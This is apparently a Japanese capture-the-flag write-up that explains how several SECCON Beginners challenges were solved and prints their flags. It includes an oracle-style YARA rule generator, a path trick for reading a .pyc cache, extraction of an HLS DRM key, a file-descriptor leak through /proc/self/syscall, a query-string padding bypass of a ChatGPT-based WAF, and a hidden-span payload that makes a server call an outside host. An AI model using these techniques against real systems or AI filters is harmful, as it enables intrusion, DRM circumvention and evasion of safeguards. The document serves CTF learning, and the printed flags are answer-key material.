毎回Webをメインに解いていましたが今回はあまり解けなかったのでmiscばかり解いていました。

(double checkは前回調べた内容からJWTの生成まではできていましたがプロトタイプ汚染についてすっかり忘れてしまっていて数時間かけて何も進みませんでした)

YARO

正規表現でルールを作成できましたがリクエスト数を少なくしたかったので以下の関数を作成して一度で一文字調べて解きました。

const template = `rule flag {
    strings:
        $flag = /__T__/
    condition:
        $flag
}
`
const strings = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".split("")

const createRule = (str) => {
    let output = ""
    for (let i = 0; i < strings.length; i++) {
        output += template.replaceAll("flag", strings[i]).replaceAll("__T__", `${str}${strings[i]}`)
    }
    for (let i = 0; i < 10; i++) {
        output += template.replaceAll("flag", `i${i}`).replaceAll("__T__", `${str}${i}`)
    }
    
    
    output += template.replaceAll("flag", "UN").replaceAll("__T__", `${str}_`)
    output += template.replaceAll("flag", "BR").replaceAll("__T__", `${str}\}`)
    return output
}
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}

polyglot4b

file -bkrで出力される文字列にJPEG, PNG, GIF, ASCIIが含まれていれば良く、手元で幾つか試したところtarファイルに含めたファイル名が出力されていたので以下のコマンドで作成したファイルを送信してflagを得ました。

touch JPEGPNGIFASCII
tar -cf file.tar JPEGPNGIFASCII
ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}

shaXXX

入力したパスがカレントディレクトリ以下で、basenameがflag.pyでないものであったときにファイルの中身が返却されるようになっていました。

print(sys.version)とバージョンを出力していたのでこのバージョンを確認しましたが現時点で最新版であることがわかるだけでした。

実行時にファイルがカレントディレクトリに生成されているのではないかと考えて手元で実行したところ__pycache__フォルダが生成され、その中にflag.cpython-310.pycが生成されていました。

手元の環境はPython3.10でしたがリモートは3.11であったので310を311に変更し、./__pycache__/flag.cpython-311.pycを入力することでflag.pyのキャッシュからflagを得ることができました。

3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):./__pycache__/flag.cpython-311.pyc
hash=b'\xa7\r\r\n\x00\x00\x00\x00>=wd<\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02s\x1b\x00\x00\x00ctf4b{c4ch3_15_0ur_fr13nd!}N)\x01\xda\x04flag\xa9\x00\xf3\x00\x00\x00\x00\xfa\x18/home/ctf/shaXXX/flag.py\xfa\x08<module>r\x06\x00\x00\x00\x01\x00\x00\x00s\x0e\x00\x00\x00\xf0\x03\x01\x01\x01\xe0\x07%\x80\x04\x80\x04\x80\x04r\x04\x00\x00\x00'
ctf4b{c4ch3_15_0ur_fr13nd!}

drmsaw

まずは手元にあったブックマークレットを用いてVideoタグのキャプチャを試みましたが、これで得た動画ファイルはチェックを通りませんでした。

HLSで配信される動画ファイルを取得する方向に切り替えましたが、暗号化されている上にenc.keyの中身はなく、Goで書かれたWebAssemblyで処理されていました。

hls.jsが使用されており、コードを簡単に確認した限りでは鍵ファイルを出力する以外はこのライブラリ内で処理されていそうだったのでした。

DevToolsからhlsのオブジェクトの中身を確認するためにUserScriptを用いてhls.jsロード時にHlsのconstructorにwindow._hls=thisを実行するコードを差し込み、これを用いて探しました。

_hls.coreComponents[0].fragCurrent._decryptdata.keyに鍵の配列があり、これを元に鍵ファイルを作成し、(16進数に直してからBzで手で打ち込み)m3u8を編集してこのファイルを指定してVLCで開き、再生できる状態になったことを確認しました。

ffmpegではhttpでアクセスできる場所に無いとうまく開いてくれなかったのでhttpサーバに置き、以下のコマンドでmp4ファイルを生成しました。

ffmpeg -i http://localhost/video.m3u8 -an -vcodec copy res.mp4
ctf4b{d1ff1cul7_70_3n5ur3_53cur17y_1n_cl13n7-51d3-4pp5}

treasure

コードを簡単に確認すると、16~2^16の乱数を生成してfd変数に代入し、flagをこのfdに開いてから入力されたパスのファイルをfd+1で開いていました。

このあとに指定されたfdを読みその中身を返すようになっていました。

入力されるパスは/procから始まる必要があり、flagや.が含まれていない必要もありました。

最初の入力でfd+1を特定し、次の入力でこのfdを入力してやればflagの中身が取れるであろうと推測し、/procからこれが取得できそうなものを数時間探していました。

/proc/selfで実行している自身のプロセスの/proc/{pid}にアクセスできるのでこれを主に探していたところ、/proc/self/syscallがあり、これには実行中のシステムコールの引数が含まれていました。

この引数がfd+1であり、1引いたものを次のfdの入力に渡すことでflagを得ることができました。

path: /proc/self/syscall
b'0 0x3747 0x7fa1ace08b00 0x100 0x0 0x0 0x0 0x7fffd2dba648 0x7fa1ad3fffac\n'
fd: 14150
b'ctf4b{y0u_f0und_7h3_7r3a5ur3_1n_pr0cf5}\n'
(0x3747 = 14151)

aiwaf

app.pyを開くとChatGPTのAPIを叩いていたのでプロンプトかと思いましたが、APIに渡していたのはrequest.query_stringの先頭50文字でした。

先頭に無関係なクエリを50文字つけてやるだけでChatGPTにファイルの指定部分が渡らなくなるのでwafを回避でき、flagを取得することができました。

https://aiwaf.beginners.seccon.games/?a=11111111111111111111111111111111111111111111111111&file=../flag
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

phisher2

コードを確認すると入力した文字列をhtmlとしてChromeで開き、このスクリーンショットに対してOCRをかけた文字列と入力した文字列それぞれから正規表現でurlを抽出し、ocrで得られたurlがhttps://phisher2.beginners.seccon.gamesで始まるものかチェックしていました。

htmlとして開いたときに非表示になる部分にアクセスさせたいサーバーのURLを入れてやればflagが取れるので以下のjsonをpostして、サーバーからのリクエストを待ち、flagを得ました。

(https://example.comの部分はGETリクエストを記録して自分の確認できる適当なサーバー)

{"text":"<span style=\"display:none;\">https://example.com</span>https://phisher2.beginners.seccon.games/foobar"}
ctf4b{w451t4c4t154w?}